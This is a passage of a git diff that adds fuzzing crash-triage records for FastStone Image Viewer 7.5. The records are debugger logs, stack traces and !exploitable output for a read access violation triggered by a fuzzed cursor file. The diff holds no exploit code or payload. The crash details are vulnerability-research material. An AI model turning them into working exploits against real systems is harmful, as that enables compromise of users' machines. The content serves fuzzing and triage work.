+BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/43368/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/43368/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..15eb071 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/43368/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1600: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1600: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bc0000 00000000`74be8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bbb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1600.1b88): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07f47b10 edx=00003879 esi=ffdd0010 edi=07d52fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.760750300146320480000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272811000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-0.209682 -8.59939e+012 1.56848e+015 4.05108e+036 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08028130 07fa5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00273000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00273000 a099fb07 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a8 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00273000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/43368/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/43368/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f7b5af6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/43368/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/44546/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/44546/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/44546/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/44546/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/44546/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..8d102c9 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/44546/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/44546/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/44546/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..dd484dc --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/44546/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xDD4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xDD4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(dd4.1f48): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07f67b10 edx=00003879 esi=ffdd0010 edi=0fc6efd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.766379799681844320000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.953578600000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.01517e+032 2.60919e+010 -5.68867e-011 1.32178e+032 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08048130 07fc5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00369000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00369000 830b876d 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bb 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00369000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 